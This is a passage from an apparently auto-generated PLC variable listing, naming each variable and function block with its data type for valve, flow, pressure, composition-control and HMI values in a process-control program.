+113;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +114;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +115;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +116;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +117;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MAX;REAL; +118;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MIN;REAL; +119;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MAX;REAL; +120;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MIN;REAL; +121;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +122;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +123;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +124;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +125;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +126;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +127;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +128;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +129;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +130;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +131;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +132;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SUB45_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SUB45_OUT;REAL; +133;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.MUL46_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.MUL46_OUT;REAL; +134;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ADD42_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ADD42_OUT;REAL; +135;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.LIMIT44_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.LIMIT44_OUT;REAL; +136;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0;SCALE_TO_SIGNED; +137;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.EN;BOOL; +138;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.ENO;BOOL; +139;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.INPUT_UINT;UINT; +140;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.OUTPUT_INT;INT; +141;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.DIV3_OUT;UINT; +142;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.ABS8_OUT;UINT; +143;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.UINT_TO_INT9_OUT;INT; +144;VAR;CONFIG0.RES0.INSTANCE0.F1_VALVE_POS;CONFIG0.RES0.INSTANCE0.F1_VALVE_POS;UINT; +145;VAR;CONFIG0.RES0.INSTANCE0.F1_FLOW;CONFIG0.RES0.INSTANCE0.F1_FLOW;UINT; +146;VAR;CONFIG0.RES0.INSTANCE0.F2_VALVE_POS;CONFIG0.RES0.INSTANCE0.F2_VALVE_POS;UINT; +147;VAR;CONFIG0.RES0.INSTANCE0.F2_FLOW;CONFIG0.RES0.INSTANCE0.F2_FLOW;UINT; +148;VAR;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_POS;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_POS;UINT; +149;VAR;CONFIG0.RES0.INSTANCE0.PURGE_FLOW;CONFIG0.RES0.INSTANCE0.PURGE_FLOW;UINT; +150;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_POS;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_POS;UINT; +151;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_FLOW;CONFIG0.RES0.INSTANCE0.PRODUCT_FLOW;UINT; +152;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE;CONFIG0.RES0.INSTANCE0.PRESSURE;UINT; +153;VAR;CONFIG0.RES0.INSTANCE0.LEVEL;CONFIG0.RES0.INSTANCE0.LEVEL;UINT; +154;VAR;CONFIG0.RES0.INSTANCE0.A_IN_PURGE;CONFIG0.RES0.INSTANCE0.A_IN_PURGE;UINT; +155;VAR;CONFIG0.RES0.INSTANCE0.B_IN_PURGE;CONFIG0.RES0.INSTANCE0.B_IN_PURGE;UINT; +156;VAR;CONFIG0.RES0.INSTANCE0.C_IN_PURGE;CONFIG0.RES0.INSTANCE0.C_IN_PURGE;UINT; +157;VAR;CONFIG0.RES0.INSTANCE0.F1_VALVE_SP;CONFIG0.RES0.INSTANCE0.F1_VALVE_SP;UINT; +158;VAR;CONFIG0.RES0.INSTANCE0.F2_VALVE_SP;CONFIG0.RES0.INSTANCE0.F2_VALVE_SP;UINT; +159;VAR;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SP;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SP;UINT; +160;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SP;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SP;UINT; +161;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SAFE;UINT; +162;VAR;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SAFE;UINT; +163;VAR;CONFIG0.RES0.INSTANCE0.F1_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.F1_VALVE_SAFE;UINT; +164;VAR;CONFIG0.RES0.INSTANCE0.F2_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.F2_VALVE_SAFE;UINT; +165;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0;PRESSURE_CONTROL; +166;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.EN;BOOL; +167;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.ENO;BOOL; +168;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_REAL;REAL; +169;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE;UINT; +170;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP_REAL;REAL; +171;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP;UINT; +172;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CURR_POS;UINT; +173;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_REAL;REAL; +174;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_UPDATE_REAL;REAL; +175;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_NOMINAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_NOMINAL;REAL; +176;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS;UINT; +177;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_K;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_K;REAL; +178;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_TI;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_TI;REAL; +179;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CYCLE_TIME;TIME; +180;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5;SCALE_TO_REAL; +181;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.EN;BOOL; +182;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.ENO;BOOL; +183;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_INPUT_VALUE;UINT; +184;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.SCALED_REAL;REAL; +185;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MAX;REAL; +186;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MIN;REAL; +187;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MAX;UINT; +188;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MIN;UINT; +189;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RATE;REAL; +190;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.OFFSET;REAL; +191;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4;SCALE_TO_REAL; +192;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.EN;BOOL; +193;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.ENO;BOOL; +194;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_INPUT_VALUE;UINT; +195;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.SCALED_REAL;REAL; +196;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MAX;REAL; +197;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MIN;REAL; +198;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MAX;UINT; +199;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MIN;UINT; +200;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RATE;REAL; +201;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.OFFSET;REAL; +202;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +203;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +204;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +205;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +206;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +207;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +208;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +209;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +210;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MAX;REAL; +211;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MIN;REAL; +212;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MIN;REAL; +213;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MAX;REAL; +214;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +215;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +216;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +217;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +218;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +219;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +220;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +221;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +222;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +223;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +224;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +225;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SUB57_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SUB57_OUT;REAL; +226;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.MUL60_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.MUL60_OUT;REAL; +227;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SUB53_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SUB53_OUT;REAL; +228;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.LIMIT55_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.LIMIT55_OUT;REAL; +229;VAR;CONFIG0.RES0.INSTANCE0.HMI_PRESSURE;CONFIG0.RES0.INSTANCE0.HMI_PRESSURE;INT; +230;VAR;CONFIG0.RES0.INSTANCE0.HMI_LEVEL;CONFIG0.RES0.INSTANCE0.HMI_LEVEL;INT; +231;VAR;CONFIG0.RES0.INSTANCE0.HMI_F1_VALVE_POS;CONFIG0.RES0.INSTANCE0.HMI_F1_VALVE_POS;INT; +232;VAR;CONFIG0.RES0.INSTANCE0.HMI_F1_FLOW;CONFIG0.RES0.INSTANCE0.HMI_F1_FLOW;INT; +233;VAR;CONFIG0.RES0.INSTANCE0.HMI_F2_VALVE_POS;CONFIG0.RES0.INSTANCE0.HMI_F2_VALVE_POS;INT; +234;VAR;CONFIG0.RES0.INSTANCE0.HMI_F2_FLOW;CONFIG0.RES0.INSTANCE0.HMI_F2_FLOW;INT; +235;VAR;CONFIG0.RES0.INSTANCE0.HMI_PURGE_VALVE_POS;CONFIG0.RES0.INSTANCE0.HMI_PURGE_VALVE_POS;INT; +236;VAR;CONFIG0.RES0.INSTANCE0.HMI_PURGE_FLOW;CONFIG0.RES0.INSTANCE0.HMI_PURGE_FLOW;INT; +237;VAR;CONFIG0.RES0.INSTANCE0.HMI_PRODUCT_VALVE_POS;CONFIG0.RES0.INSTANCE0.HMI_PRODUCT_VALVE_POS;INT; +238;VAR;CONFIG0.RES0.INSTANCE0.HMI_PRODUCT_FLOW;CONFIG0.RES0.INSTANCE0.HMI_PRODUCT_FLOW;INT; +239;VAR;CONFIG0.RES0.INSTANCE0.SCAN_COUNT;CONFIG0.RES0.INSTANCE0.SCAN_COUNT;UINT; +240;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1;SCALE_TO_SIGNED; +241;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.EN;BOOL; +242;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.ENO;BOOL; +243;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.INPUT_UINT;UINT; +244;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.OUTPUT_INT;INT; +245;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.DIV3_OUT;UINT; +246;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.ABS8_OUT;UINT; +247;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.UINT_TO_INT9_OUT;INT; +248;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2;SCALE_TO_SIGNED; +249;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.EN;BOOL; +250;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.ENO;BOOL; +251;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.INPUT_UINT;UINT; +252;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.OUTPUT_INT;INT; +253;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.DIV3_OUT;UINT; +254;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.ABS8_OUT;UINT; +255;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.UINT_TO_INT9_OUT;INT; +256;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3;SCALE_TO_SIGNED; +257;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.EN;BOOL; +258;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.ENO;BOOL; +259;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.INPUT_UINT;UINT; +260;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.OUTPUT_INT;INT; +261;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.DIV3_OUT;UINT; +262;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.ABS8_OUT;UINT; +263;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.UINT_TO_INT9_OUT;INT; 